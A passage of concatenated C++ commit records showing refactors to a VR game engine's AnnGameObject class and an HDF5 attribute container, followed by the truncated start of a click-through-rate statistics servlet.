delete static_cast<btBvhTriangleMeshShape*>(Shape)->getMeshInterface();
delete Shape;
}
if (state) delete state;
//Prevent dereferencing null pointer here. Parent can be something other than root scene node now.
if (Node)
{
if (Node->getParent())
Node->getParent()->removeChild(Node);
std::vector<Ogre::MovableObject*> attachedObject;
for (unsigned short i(0); i < Node->numAttachedObjects(); i++)
attachedObject.push_back(Node->getAttachedObject(i));
Node->detachAllObjects();
for (auto object : attachedObject)
AnnGetEngine()->getSceneManager()->destroyMovableObject(object);
AnnGetEngine()->getSceneManager()->destroySceneNode(Node);
Node = nullptr;
}
}
void AnnGameObject::playSound(std::string path, bool loop, float volume) const
{
audioSource->changeSound(path);
audioSource->setLooping(loop);
audioSource->setVolume(volume);
audioSource->setPositon(getWorldPosition());
audioSource->play();
}
void AnnGameObject::updateOpenAlPos() const
{
audioSource->setPositon(getWorldPosition());
}
void AnnGameObject::callUpdateOnScripts()
{
for (auto script : scripts) script->update();
}
void AnnGameObject::setPosition(float x, float y, float z)
{
setPosition(AnnVect3{ x, y, z });
}
void AnnGameObject::translate(float x, float y, float z) const
{
//Ogre
Node->translate(x, y, z);
//Bullet
if (Body) Body->translate(btVector3(x, y, z));
//OpenAL
updateOpenAlPos();
}
void AnnGameObject::setPosition(AnnVect3 pos)
{
if (Body)
{
auto currentPosition = Node->getPosition();
Body->translate(btVector3(pos.x - currentPosition.x,
pos.y - currentPosition.y,
pos.z - currentPosition.z));
}
//change OgrePosition
Node->setPosition(pos);
//change OpenAL Source Position
updateOpenAlPos();
}
void AnnGameObject::setWorldPosition(AnnVect3 pos) const
{
Node->_setDerivedPosition(pos);
updateOpenAlPos();
}
void AnnGameObject::setOrientation(float w, float x, float y, float z)
{
setOrientation(AnnQuaternion(w, x, y, z));
}
void AnnGameObject::setOrientation(AnnQuaternion orient)
{
//Ogre3D
Node->setOrientation(static_cast<Ogre::Quaternion>(orient));
//bullet
if (Body)
{
auto t = Body->getCenterOfMassTransform();
t.setRotation(orient.getBtQuaternion());
Body->setCenterOfMassTransform(t);
}
}
void AnnGameObject::setWorldOrientation(AnnQuaternion orient) const
{
Node->_setDerivedOrientation(orient);
}
void AnnGameObject::setScale(AnnVect3 scale, bool scaleMass) const
{
Node->setScale(scale);
if (Body&&Shape)
{
Shape->setLocalScaling(scale.getBtVector());
auto world = AnnGetPhysicsEngine()->getWorld();
world->removeRigidBody(Body);
btVector3 inertia;
float scaleLenght;
if (scaleMass)
scaleLenght = scale.length() / 3.0f;
else
scaleLenght = 1.0f;
Shape->calculateLocalInertia(scaleLenght * bodyMass, inertia);
Body->setMassProps(scaleLenght*bodyMass, inertia);
world->addRigidBody(Body, AnnPhysicsEngine::CollisionMasks::General, AnnPhysicsEngine::CollisionMasks::ColideWithAll);
Body->activate();
}
}
void AnnGameObject::setWorldOrientation(float w, float x, float y, float z) const
{
setWorldOrientation(AnnQuaternion{ w, x, y, z });
}
void AnnGameObject::setScale(float x, float y, float z, bool mass) const
{
setScale(AnnVect3(x, y, z), mass);
}
AnnVect3 AnnGameObject::getPosition()
{
return Node->getPosition();
}
AnnQuaternion AnnGameObject::getOrientation()
{
return Node->getOrientation();
}
AnnVect3 AnnGameObject::getScale() const
{
return Node->getScale();
}
void AnnGameObject::setNode(Ogre::SceneNode* newNode)
{
Node = newNode;
}
void AnnGameObject::setUpPhysics(float mass, phyShapeType type, bool colideWithPlayer)
{
//Some sanity checks
if (checkForBodyInParent()) throw AnnPhysicsSetupParentError(this);
if (checkForBodyInChild()) throw AnnPhysicsSetupChildError(this);
if (mass < 0) return;
//Register the mass
bodyMass = mass;
//init shape converter
BtOgre::StaticMeshToShapeConverter converter(Model);
// TODO ISSUE put this thing inside the Physics engine
//create the correct shape
switch (type)
{
case boxShape:
Shape = converter.createBox();
break;
case cylinderShape:
Shape = converter.createCylinder();
break;
case capsuleShape:
Shape = converter.createCapsule();
break;
case convexShape:
Shape = converter.createConvex();
break;
case staticShape:
Shape = converter.createTrimesh();
break;
case sphereShape:
Shape = converter.createSphere();
break;
default:
//non valid;
AnnDebug() << "Error: Requested shape is invalid";
return;
}
AnnVect3 scale = getNode()->getScale();
Shape->setLocalScaling(scale.getBtVector());
btVector3 inertia{ 0,0,0 };
if (bodyMass > 0.0f)
Shape->calculateLocalInertia(bodyMass, inertia);
//create rigidBody from shape
state = new BtOgre::RigidBodyState(Node);
Body = new btRigidBody(bodyMass, state, Shape, inertia);
Body->setUserPointer(this);
short bulletMask = AnnPhysicsEngine::CollisionMasks::ColideWithAll;
if (!colideWithPlayer)
bulletMask = AnnPhysicsEngine::CollisionMasks::General;
AnnGetPhysicsEngine()->getWorld()->addRigidBody(Body, AnnPhysicsEngine::CollisionMasks::General, bulletMask);
}
Ogre::SceneNode* AnnGameObject::getNode() const
{
return Node;
}
float AnnGameObject::getDistance(AnnGameObject *otherObject) const
{
return getWorldPosition().distance(otherObject->getWorldPosition());
}
btRigidBody* AnnGameObject::getBody() const
{
return Body;
}
void AnnGameObject::setAnimation(const std::string& animationName)
{
//Check if the item has a skeleton
if (!getItem()->hasSkeleton())
{
AnnDebug() << "Attempting to set a skeleton animation on a skeleton-less object. (" << getName() << ") Check yo' programin' bro!";
return;
}
//Attempt to get the animation
auto selectedAnimation = getItem()->getSkeletonInstance()->getAnimation(animationName);
if (!selectedAnimation)
{
AnnDebug() << "Looks like " << getName() << " doesn't have an animation called " << animationName;
return;
}
//If an animation was already playing, disable it
if (currentAnimation)
{
currentAnimation->setEnabled(false);
}
//Set the current animation, but don't start playing it just yet.
currentAnimation = selectedAnimation;
}
void AnnGameObject::playAnimation(bool play) const
{
if (currentAnimation) currentAnimation->setEnabled(play);
}
void AnnGameObject::loopAnimation(bool loop) const
{
if (currentAnimation) currentAnimation->setLoop(loop);
}
void AnnGameObject::addAnimationTime(double offset) const
{
if (currentAnimation) currentAnimation->addTime(float(offset));
}
void AnnGameObject::applyImpulse(AnnVect3 force) const
{
Body->applyCentralImpulse(force.getBtVector());
}
void AnnGameObject::applyForce(AnnVect3 force) const
{
Body->applyCentralForce(force.getBtVector());
}
void AnnGameObject::setLinearSpeed(AnnVect3 v) const
{
if (Body)
Body->setLinearVelocity(v.getBtVector());
}
void AnnGameObject::setFrictionCoef(float coef) const
{
if (Body)
Body->setFriction(coef);
}
void AnnGameObject::setVisible() const
{
getNode()->setVisible(true);
}
void AnnGameObject::setInvisible() const
{
getNode()->setVisible(false);
}
std::string AnnGameObject::getName() const
{
return name;
}
void AnnGameObject::attachScript(const std::string & scriptName)
{
auto script = AnnGetScriptManager()->getBehaviorScript(scriptName, this);
if (script->isValid())
scripts.push_back(script);
script->registerAsListener();
}
bool AnnGameObject::hasParent() const
{
auto parentSceneNode = Node->getParentSceneNode();
if (reinterpret_cast<uint64_t>(parentSceneNode)
== reinterpret_cast<uint64_t>(AnnGetEngine()->getSceneManager()->getRootSceneNode()))
{
return false;
}
if (parentSceneNode != nullptr)
return true;
return false;
}
std::shared_ptr<AnnGameObject> AnnGameObject::getParent() const
{
return AnnGetGameObjectManager()->getFromNode(Node->getParentSceneNode());
}
void AnnGameObject::attachChildObject(std::shared_ptr<AnnGameObject> child) const
{
//child->Node has been detached from it's current parent(that was either a node or the root node)
child->Node->getParentSceneNode()->removeChild(child->Node);
//Attach it to the node of this object.
Node->addChild(child->Node);
}
void AnnGameObject::detachFromParent() const
{
Node->getParentSceneNode()->removeChild(Node);
AnnGetEngine()->getSceneManager()->getRootSceneNode()->addChild(Node);
}
bool AnnGameObject::checkForBodyInParent()
{
return parentsHaveBody(this);
}
AnnVect3 AnnGameObject::getWorldPosition() const
{
#ifdef _DEBUG
if (Node->isCachedTransformOutOfDate())
{
AnnDebug() << "cached transform was out of date when " << name << " wanted it's own world position";
return Node->_getDerivedPositionUpdated();
}
#endif
return Node->_getDerivedPosition();
}
AnnQuaternion AnnGameObject::getWorldOrientation() const
{
#ifdef _DEBUG
if (Node->isCachedTransformOutOfDate())
{
AnnDebug() << "cached transofrm was out of date when " << name << " wanted it's own world orientaiton";
return Node->_getDerivedOrientationUpdated();
}
#endif
return Node->_getDerivedOrientation();
}
bool AnnGameObject::parentsHaveBody(AnnGameObject* obj) const
{
if (!hasParent()) return false;
auto addr = obj->getParent().get();
if (!addr) return false;
if (obj->getParent()->getBody()) return true;
return parentsHaveBody(addr);
}
bool AnnGameObject::checkForBodyInChild()
{
return childrenHaveBody(this);
}
bool AnnGameObject::childrenHaveBody(AnnGameObject* parentObj)
{
for (auto childNode : parentObj->Node->getChildIterator())
{
auto node = childNode;
auto childSceneNode = dynamic_cast<Ogre::SceneNode*>(node);
//Is an actual SceneNode
if (childSceneNode != nullptr)
{
auto obj = AnnGetGameObjectManager()->getFromNode(childSceneNode);
//found an object
if (obj != nullptr)
{
//Found a body
if (obj->getBody()) return true;
//Do child recursion here.
return childrenHaveBody(obj.get());
}
}
}
return false;
}
void AnnGameObject::setWorldPosition(float x, float y, float z) const
{
setWorldPosition(AnnVect3{ x, y, z });
}
void AnnGameObject::setItem(Ogre::Item* item)
{
Model = item;
}
Ogre::Item* AnnGameObject::getItem() const
{
return Model;
}
<commit_msg>Use the method created earlier<commit_after>#include "stdafx.h"
#include "AnnGameObject.hpp"
#include "AnnLogger.hpp"
#include "AnnGetter.hpp"
#include "AnnException.hpp"
using namespace Annwvyn;
AnnGameObject::AnnGameObject() :
Node(nullptr), Model(nullptr), currentAnimation(nullptr),
Shape(nullptr),
Body(nullptr),
bodyMass(0),
audioSource(nullptr),
state(nullptr)
{
}
AnnGameObject::~AnnGameObject()
{
for (auto script : scripts) script->unregisterAsListener();
AnnDebug() << "Destructing game object " << getName() << " !";
//Clean OpenAL de-aloc
if (AnnGetAudioEngine())
AnnGetAudioEngine()->removeSource(audioSource);
if (AnnGetPhysicsEngine())
AnnGetPhysicsEngine()->removeRigidBody(Body);
if (Body) delete Body;
if (Shape)
{
if (Shape->getShapeType() == TRIANGLE_MESH_SHAPE_PROXYTYPE)
delete static_cast<btBvhTriangleMeshShape*>(Shape)->getMeshInterface();
delete Shape;
}
if (state) delete state;
//Prevent dereferencing null pointer here. Parent can be something other than root scene node now.
if (Node)
{
if (Node->getParent())
Node->getParent()->removeChild(Node);
std::vector<Ogre::MovableObject*> attachedObject;
for (unsigned short i(0); i < Node->numAttachedObjects(); i++)
attachedObject.push_back(Node->getAttachedObject(i));
Node->detachAllObjects();
for (auto object : attachedObject)
AnnGetEngine()->getSceneManager()->destroyMovableObject(object);
AnnGetEngine()->getSceneManager()->destroySceneNode(Node);
Node = nullptr;
}
}
void AnnGameObject::playSound(std::string path, bool loop, float volume) const
{
audioSource->changeSound(path);
audioSource->setLooping(loop);
audioSource->setVolume(volume);
audioSource->setPositon(getWorldPosition());
audioSource->play();
}
void AnnGameObject::updateOpenAlPos() const
{
audioSource->setPositon(getWorldPosition());
}
void AnnGameObject::callUpdateOnScripts()
{
for (auto script : scripts) script->update();
}
void AnnGameObject::setPosition(float x, float y, float z)
{
setPosition(AnnVect3{ x, y, z });
}
void AnnGameObject::translate(float x, float y, float z) const
{
//Ogre
Node->translate(x, y, z);
//Bullet
if (Body) Body->translate(btVector3(x, y, z));
//OpenAL
updateOpenAlPos();
}
void AnnGameObject::setPosition(AnnVect3 pos)
{
if (Body)
{
auto currentPosition = Node->getPosition();
Body->translate(btVector3(pos.x - currentPosition.x,
pos.y - currentPosition.y,
pos.z - currentPosition.z));
}
//change OgrePosition
Node->setPosition(pos);
//change OpenAL Source Position
updateOpenAlPos();
}
void AnnGameObject::setWorldPosition(AnnVect3 pos) const
{
Node->_setDerivedPosition(pos);
updateOpenAlPos();
}
void AnnGameObject::setOrientation(float w, float x, float y, float z)
{
setOrientation(AnnQuaternion(w, x, y, z));
}
void AnnGameObject::setOrientation(AnnQuaternion orient)
{
//Ogre3D
Node->setOrientation(static_cast<Ogre::Quaternion>(orient));
//bullet
if (Body)
{
auto t = Body->getCenterOfMassTransform();
t.setRotation(orient.getBtQuaternion());
Body->setCenterOfMassTransform(t);
}
}
void AnnGameObject::setWorldOrientation(AnnQuaternion orient) const
{
Node->_setDerivedOrientation(orient);
}
void AnnGameObject::setScale(AnnVect3 scale, bool scaleMass) const
{
Node->setScale(scale);
if (Body&&Shape)
{
Shape->setLocalScaling(scale.getBtVector());
auto world = AnnGetPhysicsEngine()->getWorld();
world->removeRigidBody(Body);
btVector3 inertia;
float scaleLenght;
if (scaleMass)
scaleLenght = scale.length() / 3.0f;
else
scaleLenght = 1.0f;
Shape->calculateLocalInertia(scaleLenght * bodyMass, inertia);
Body->setMassProps(scaleLenght*bodyMass, inertia);
world->addRigidBody(Body, AnnPhysicsEngine::CollisionMasks::General, AnnPhysicsEngine::CollisionMasks::ColideWithAll);
Body->activate();
}
}
void AnnGameObject::setWorldOrientation(float w, float x, float y, float z) const
{
setWorldOrientation(AnnQuaternion{ w, x, y, z });
}
void AnnGameObject::setScale(float x, float y, float z, bool mass) const
{
setScale(AnnVect3(x, y, z), mass);
}
AnnVect3 AnnGameObject::getPosition()
{
return Node->getPosition();
}
AnnQuaternion AnnGameObject::getOrientation()
{
return Node->getOrientation();
}
AnnVect3 AnnGameObject::getScale() const
{
return Node->getScale();
}
void AnnGameObject::setNode(Ogre::SceneNode* newNode)
{
Node = newNode;
}
void AnnGameObject::setUpPhysics(float mass, phyShapeType type, bool colideWithPlayer)
{
//Some sanity checks
if (checkForBodyInParent()) throw AnnPhysicsSetupParentError(this);
if (checkForBodyInChild()) throw AnnPhysicsSetupChildError(this);
if (mass < 0) return;
auto physicsEngine = AnnGetPhysicsEngine();
//Get the collision shape from the physics engine
Shape = physicsEngine->_getGameObjectShape(this, type);
AnnVect3 scale = getNode()->getScale();
Shape->setLocalScaling(scale.getBtVector());
btVector3 inertia{ 0,0,0 };
//Register the mass
bodyMass = mass;
if (bodyMass > 0.0f)
Shape->calculateLocalInertia(bodyMass, inertia);
//create rigidBody from shape
state = new BtOgre::RigidBodyState(Node);
Body = new btRigidBody(bodyMass, state, Shape, inertia);
Body->setUserPointer(this);
short bulletMask = AnnPhysicsEngine::CollisionMasks::ColideWithAll;
if (!colideWithPlayer)
bulletMask = AnnPhysicsEngine::CollisionMasks::General;
AnnGetPhysicsEngine()->getWorld()->addRigidBody(Body, AnnPhysicsEngine::CollisionMasks::General, bulletMask);
}
Ogre::SceneNode* AnnGameObject::getNode() const
{
return Node;
}
float AnnGameObject::getDistance(AnnGameObject *otherObject) const
{
return getWorldPosition().distance(otherObject->getWorldPosition());
}
btRigidBody* AnnGameObject::getBody() const
{
return Body;
}
void AnnGameObject::setAnimation(const std::string& animationName)
{
//Check if the item has a skeleton
if (!getItem()->hasSkeleton())
{
AnnDebug() << "Attempting to set a skeleton animation on a skeleton-less object. (" << getName() << ") Check yo' programin' bro!";
return;
}
//Attempt to get the animation
auto selectedAnimation = getItem()->getSkeletonInstance()->getAnimation(animationName);
if (!selectedAnimation)
{
AnnDebug() << "Looks like " << getName() << " doesn't have an animation called " << animationName;
return;
}
//If an animation was already playing, disable it
if (currentAnimation)
{
currentAnimation->setEnabled(false);
}
//Set the current animation, but don't start playing it just yet.
currentAnimation = selectedAnimation;
}
void AnnGameObject::playAnimation(bool play) const
{
if (currentAnimation) currentAnimation->setEnabled(play);
}
void AnnGameObject::loopAnimation(bool loop) const
{
if (currentAnimation) currentAnimation->setLoop(loop);
}
void AnnGameObject::addAnimationTime(double offset) const
{
if (currentAnimation) currentAnimation->addTime(float(offset));
}
void AnnGameObject::applyImpulse(AnnVect3 force) const
{
Body->applyCentralImpulse(force.getBtVector());
}
void AnnGameObject::applyForce(AnnVect3 force) const
{
Body->applyCentralForce(force.getBtVector());
}
void AnnGameObject::setLinearSpeed(AnnVect3 v) const
{
if (Body)
Body->setLinearVelocity(v.getBtVector());
}
void AnnGameObject::setFrictionCoef(float coef) const
{
if (Body)
Body->setFriction(coef);
}
void AnnGameObject::setVisible() const
{
getNode()->setVisible(true);
}
void AnnGameObject::setInvisible() const
{
getNode()->setVisible(false);
}
std::string AnnGameObject::getName() const
{
return name;
}
void AnnGameObject::attachScript(const std::string & scriptName)
{
auto script = AnnGetScriptManager()->getBehaviorScript(scriptName, this);
if (script->isValid())
scripts.push_back(script);
script->registerAsListener();
}
bool AnnGameObject::hasParent() const
{
auto parentSceneNode = Node->getParentSceneNode();
if (reinterpret_cast<uint64_t>(parentSceneNode)
== reinterpret_cast<uint64_t>(AnnGetEngine()->getSceneManager()->getRootSceneNode()))
{
return false;
}
if (parentSceneNode != nullptr)
return true;
return false;
}
std::shared_ptr<AnnGameObject> AnnGameObject::getParent() const
{
return AnnGetGameObjectManager()->getFromNode(Node->getParentSceneNode());
}
void AnnGameObject::attachChildObject(std::shared_ptr<AnnGameObject> child) const
{
//child->Node has been detached from it's current parent(that was either a node or the root node)
child->Node->getParentSceneNode()->removeChild(child->Node);
//Attach it to the node of this object.
Node->addChild(child->Node);
}
void AnnGameObject::detachFromParent() const
{
Node->getParentSceneNode()->removeChild(Node);
AnnGetEngine()->getSceneManager()->getRootSceneNode()->addChild(Node);
}
bool AnnGameObject::checkForBodyInParent()
{
return parentsHaveBody(this);
}
AnnVect3 AnnGameObject::getWorldPosition() const
{
#ifdef _DEBUG
if (Node->isCachedTransformOutOfDate())
{
AnnDebug() << "cached transform was out of date when " << name << " wanted it's own world position";
return Node->_getDerivedPositionUpdated();
}
#endif
return Node->_getDerivedPosition();
}
AnnQuaternion AnnGameObject::getWorldOrientation() const
{
#ifdef _DEBUG
if (Node->isCachedTransformOutOfDate())
{
AnnDebug() << "cached transofrm was out of date when " << name << " wanted it's own world orientaiton";
return Node->_getDerivedOrientationUpdated();
}
#endif
return Node->_getDerivedOrientation();
}
bool AnnGameObject::parentsHaveBody(AnnGameObject* obj) const
{
if (!hasParent()) return false;
auto addr = obj->getParent().get();
if (!addr) return false;
if (obj->getParent()->getBody()) return true;
return parentsHaveBody(addr);
}
bool AnnGameObject::checkForBodyInChild()
{
return childrenHaveBody(this);
}
bool AnnGameObject::childrenHaveBody(AnnGameObject* parentObj)
{
for (auto childNode : parentObj->Node->getChildIterator())
{
auto node = childNode;
auto childSceneNode = dynamic_cast<Ogre::SceneNode*>(node);
//Is an actual SceneNode
if (childSceneNode != nullptr)
{
auto obj = AnnGetGameObjectManager()->getFromNode(childSceneNode);
//found an object
if (obj != nullptr)
{
//Found a body
if (obj->getBody()) return true;
//Do child recursion here.
return childrenHaveBody(obj.get());
}
}
}
return false;
}
void AnnGameObject::setWorldPosition(float x, float y, float z) const
{
setWorldPosition(AnnVect3{ x, y, z });
}
void AnnGameObject::setItem(Ogre::Item* item)
{
Model = item;
}
Ogre::Item* AnnGameObject::getItem() const
{
return Model;
}
<|endoftext|>
|
<commit_before>
#include <iostream>
#include <hdf5.h>
#include <pandora/BaseContainer.hpp>
namespace pandora {
bool BaseContainer::attrExists( std::string name ) const {
return H5Aexists(h5group.getId(), name.c_str());
}
bool BaseContainer::objectExists( std::string path ) const {
htri_t ret = H5Lexists(h5group.getId(), path.c_str(), H5P_DEFAULT);
if (!ret)
return false;
//ret = H5Oexists_by_name(h5group.getId(), path.c_str(), H5P_DEFAULT);
return true;
}
void BaseContainer::delAttr( std::string name ) const {
h5group.removeAttr(name);
}
//Oh the hacks ;-)
struct TypeSpec {
H5::DataType fileType;
H5::DataType memType;
};
template <typename T>
TypeSpec type_klassify()
{
TypeSpec e;
//FIXME throw runtime exception here
return e;
};
template <> TypeSpec type_klassify<int>() { return {H5::PredType::STD_I32LE, H5::PredType::NATIVE_INT}; };
template <> TypeSpec type_klassify<double>() { return {H5::PredType::IEEE_F32LE, H5::PredType::NATIVE_DOUBLE}; };
template <> TypeSpec type_klassify<std::string>() { return {H5::PredType::C_S1, H5::PredType::C_S1}; };
template <typename T>
class Nyx {
public:
Nyx(T &val) : value(val), m(type_klassify<T>()) { }
virtual H5::DataSpace getDataSpace() const {
return H5::DataSpace();
}
virtual H5::DataType getFileType() const { return m.fileType; }
virtual H5::DataType getMemType() const { return m.memType; }
virtual void const *getData() const {return static_cast<const void *>(&value); }
virtual void *getWritePointer() { return static_cast<void *>(&value); }
virtual void writeAttribute(H5::Attribute &attr) {
attr.write(m.memType, &value);
}
virtual void readAttribute(H5::Attribute &attr) {
attr.read(m.memType, &value);
}
virtual ~Nyx() {}
protected:
T &value;
TypeSpec m;
};
template <typename T>
class Charon : public Nyx<T> {
public:
Charon(T &val) : Nyx<T>(val) {}
};
template <>
class Charon<std::string> : public Nyx<std::string> {
public:
Charon(std::string &val) : Nyx<std::string>(val) {}
virtual H5::DataType getFileType() const {
H5::AtomType ftype = H5::PredType::C_S1;
ftype.setSize(value.length());
return ftype;
}
virtual const void *getData() const {return value.c_str();}
virtual void *getWritePointer() { return NULL; /*FIXME*/ }
virtual void writeAttribute(H5::Attribute &attr) {
attr.write(m.memType, value);
}
virtual void readAttribute(H5::Attribute &attr) {
attr.read(m.memType, value);
}
virtual ~Charon() {}
};
template <typename T>
void BaseContainer::setAttr(std::string name, T value) const
{
H5::Attribute attr;
Charon<T> charon = Charon<T>(value);
if (attrExists(name)) {
attr = h5group.openAttribute(name);
} else {
H5::DataType fileType = charon.getFileType();
H5::DataSpace fileSpace = charon.getDataSpace();
attr = h5group.createAttribute(name, fileType, fileSpace);
}
charon.writeAttribute(attr);
}
template <typename T>
bool BaseContainer::getAttr (std::string name, T &value) const {
if (!attrExists(name)) {
return false;
}
H5::Attribute attr = h5group.openAttribute(name);
Charon<T> charon = Charon<T>(value);
charon.readAttribute(attr);
return true;
}
template void BaseContainer::setAttr<int>(std::string name, int value) const;
template void BaseContainer::setAttr<double>(std::string name, double value) const;
template void BaseContainer::setAttr<std::string>(std::string name, std::string value) const;
template bool BaseContainer::getAttr<int>(std::string name, int &value) const;
template bool BaseContainer::getAttr<double>(std::string name, double &value) const;
template bool BaseContainer::getAttr<std::string>(std::string name, std::string &value) const;
bool BaseContainer::getAttr(std::string name, std::string &value) const {
return getAttr<std::string>(name, value);
}
void BaseContainer::setAttr(std::string name, std::string value) const {
setAttr<std::string>(name, value);
}
bool BaseContainer::hasData( std::string name ) const {
try {
H5::DataSet data = h5group.openDataSet(name);
data.close();
return true;
} catch (H5::Exception e) {
return false;
}
}
void BaseContainer::delData( std::string name ) {
if (hasData(name))
h5group.unlink(name);
}
H5::DataSet BaseContainer::openData( std::string name ) const {
H5::DataSet data = h5group.openDataSet(name);
return data;
}
bool BaseContainer::hasGroup( std::string name ) const {
try {
H5::Group g = h5group.openGroup(name);
g.close();
return true;
} catch (H5::Exception e) {
return false;
}
}
H5::Group BaseContainer::openGroup( std::string name ) const {
H5::Group g = h5group.openGroup(name);
return g;
}
void BaseContainer::delGroup( std::string name ) {
if (hasGroup(name))
h5group.unlink(name);
}
}
<commit_msg>Charon: Remove unnecessary functions<commit_after>
#include <iostream>
#include <hdf5.h>
#include <pandora/BaseContainer.hpp>
namespace pandora {
bool BaseContainer::attrExists( std::string name ) const {
return H5Aexists(h5group.getId(), name.c_str());
}
bool BaseContainer::objectExists( std::string path ) const {
htri_t ret = H5Lexists(h5group.getId(), path.c_str(), H5P_DEFAULT);
if (!ret)
return false;
//ret = H5Oexists_by_name(h5group.getId(), path.c_str(), H5P_DEFAULT);
return true;
}
void BaseContainer::delAttr( std::string name ) const {
h5group.removeAttr(name);
}
//Oh the hacks ;-)
struct TypeSpec {
H5::DataType fileType;
H5::DataType memType;
};
template <typename T>
TypeSpec type_klassify()
{
TypeSpec e;
//FIXME throw runtime exception here
return e;
};
template <> TypeSpec type_klassify<int>() { return {H5::PredType::STD_I32LE, H5::PredType::NATIVE_INT}; };
template <> TypeSpec type_klassify<double>() { return {H5::PredType::IEEE_F32LE, H5::PredType::NATIVE_DOUBLE}; };
template <> TypeSpec type_klassify<std::string>() { return {H5::PredType::C_S1, H5::PredType::C_S1}; };
template <typename T>
class Nyx {
public:
Nyx(T &val) : value(val), m(type_klassify<T>()) { }
virtual H5::DataSpace getDataSpace() const {
return H5::DataSpace();
}
virtual H5::DataType getFileType() const { return m.fileType; }
virtual H5::DataType getMemType() const { return m.memType; }
virtual void writeAttribute(H5::Attribute &attr) {
attr.write(m.memType, &value);
}
virtual void readAttribute(H5::Attribute &attr) {
attr.read(m.memType, &value);
}
virtual ~Nyx() {}
protected:
T &value;
TypeSpec m;
};
template <typename T>
class Charon : public Nyx<T> {
public:
Charon(T &val) : Nyx<T>(val) {}
};
template <>
class Charon<std::string> : public Nyx<std::string> {
public:
Charon(std::string &val) : Nyx<std::string>(val) {}
virtual H5::DataType getFileType() const {
H5::AtomType ftype = H5::PredType::C_S1;
ftype.setSize(value.length());
return ftype;
}
virtual void writeAttribute(H5::Attribute &attr) {
attr.write(m.memType, value);
}
virtual void readAttribute(H5::Attribute &attr) {
attr.read(m.memType, value);
}
virtual ~Charon() {}
};
template <typename T>
void BaseContainer::setAttr(std::string name, T value) const
{
H5::Attribute attr;
Charon<T> charon = Charon<T>(value);
if (attrExists(name)) {
attr = h5group.openAttribute(name);
} else {
H5::DataType fileType = charon.getFileType();
H5::DataSpace fileSpace = charon.getDataSpace();
attr = h5group.createAttribute(name, fileType, fileSpace);
}
charon.writeAttribute(attr);
}
template <typename T>
bool BaseContainer::getAttr (std::string name, T &value) const {
if (!attrExists(name)) {
return false;
}
H5::Attribute attr = h5group.openAttribute(name);
Charon<T> charon = Charon<T>(value);
charon.readAttribute(attr);
return true;
}
template void BaseContainer::setAttr<int>(std::string name, int value) const;
template void BaseContainer::setAttr<double>(std::string name, double value) const;
template void BaseContainer::setAttr<std::string>(std::string name, std::string value) const;
template bool BaseContainer::getAttr<int>(std::string name, int &value) const;
template bool BaseContainer::getAttr<double>(std::string name, double &value) const;
template bool BaseContainer::getAttr<std::string>(std::string name, std::string &value) const;
bool BaseContainer::getAttr(std::string name, std::string &value) const {
return getAttr<std::string>(name, value);
}
void BaseContainer::setAttr(std::string name, std::string value) const {
setAttr<std::string>(name, value);
}
bool BaseContainer::hasData( std::string name ) const {
try {
H5::DataSet data = h5group.openDataSet(name);
data.close();
return true;
} catch (H5::Exception e) {
return false;
}
}
void BaseContainer::delData( std::string name ) {
if (hasData(name))
h5group.unlink(name);
}
H5::DataSet BaseContainer::openData( std::string name ) const {
H5::DataSet data = h5group.openDataSet(name);
return data;
}
bool BaseContainer::hasGroup( std::string name ) const {
try {
H5::Group g = h5group.openGroup(name);
g.close();
return true;
} catch (H5::Exception e) {
return false;
}
}
H5::Group BaseContainer::openGroup( std::string name ) const {
H5::Group g = h5group.openGroup(name);
return g;
}
void BaseContainer::delGroup( std::string name ) {
if (hasGroup(name))
h5group.unlink(name);
}
}
<|endoftext|>
|
<commit_before>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "CTRStatsServlet.h"
#include "CTRCounter.h"
#include "fnord-base/Language.h"
#include "fnord-base/wallclock.h"
#include "fnord-base/io/fileutil.h"
#include "fnord-sstable/sstablereader.h"
#include "fnord-sstable/SSTableScan.h"
using namespace fnord;
namespace cm {
CTRStatsServlet::CTRStatsServlet(VFS* vfs) : vfs_(vfs) {}
void CTRStatsServlet::handleHTTPRequest(
http::HTTPRequest* req,
http::HTTPResponse* res) {
URI uri(req->uri());
const auto& params = uri.queryParams();
/* arguments */
String customer;
if (!URI::getParam(params, "customer", &customer)) {
res->addBody("error: missing ?customer=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
String lang_str;
if (!URI::getParam(params, "lang", &lang_str)) {
res->addBody("error: missing ?lang=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
auto end_time = WallClock::unixMicros();
auto start_time = end_time - 30 * kMicrosPerDay;
Set<String> test_groups { "all" };
Set<String> device_types { "unknown", "desktop", "tablet", "phone" };
/* prepare prefix filters for scanning */
String scan_common_prefix = lang_str + "~";
if (test_groups.size() == 1) {
scan_common_prefix += *test_groups.begin() + "~";
}
if (device_types.size() == 1) {
scan_common_prefix += *device_types.begin() + "~";
}
/* prepare input tables */
Set<String> tables;
for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerDay) {
tables.emplace(StringUtil::format(
"$0_ctr_by_page_daily.$1.sstable",
customer,
i / kMicrosPerDay));
}
/* scan input tables */
HashMap<uint64_t, CTRCounterData> counters;
for (const auto& tbl : tables) {
if (!vfs_->exists(tbl)) {
continue;
}
sstable::SSTableReader reader(vfs_->openFile(tbl));
if (reader.bodySize() == 0 || reader.isFinalized() == 0) {
continue;
}
sstable::SSTableScan scan;
scan.setKeyPrefix(scan_common_prefix);
auto cursor = reader.getCursor();
scan.execute(cursor.get(), [&] (const Vector<String> row) {
if (row.size() != 2) {
RAISEF(kRuntimeError, "invalid row length: $0", row.size());
}
auto dims = StringUtil::split(row[0], "~");
if (dims.size() != 4) {
RAISEF(kRuntimeError, "invalid row key: $0", row[0]);
}
if (dims[0] != lang_str) {
return;
}
if (test_groups.count(dims[1]) == 0) {
return;
}
if (device_types.count(dims[2]) == 0) {
return;
}
auto counter = CTRCounterData::load(row[1]);
auto page = std::stoul(dims[3]);
if (page > 100) {
return;
}
counters[page].merge(counter);
});
}
/* write response */
res->setStatus(http::kStatusOK);
res->addHeader("Content-Type", "application/json; charset=utf-8");
json::JSONOutputStream json(res->getBodyOutputStream());
json.beginArray();
uint64_t total_views = 0;
uint64_t total_clicks = 0;
for (const auto& c : counters) {
total_views += c.second.num_views;
total_clicks += c.second.num_clicks;
}
int n = 0;
for (const auto& c : counters) {
if (++n > 1) {
json.addComma();
}
json.beginObject();
json.addObjectEntry("page");
json.addInteger(c.first);
json.addComma();
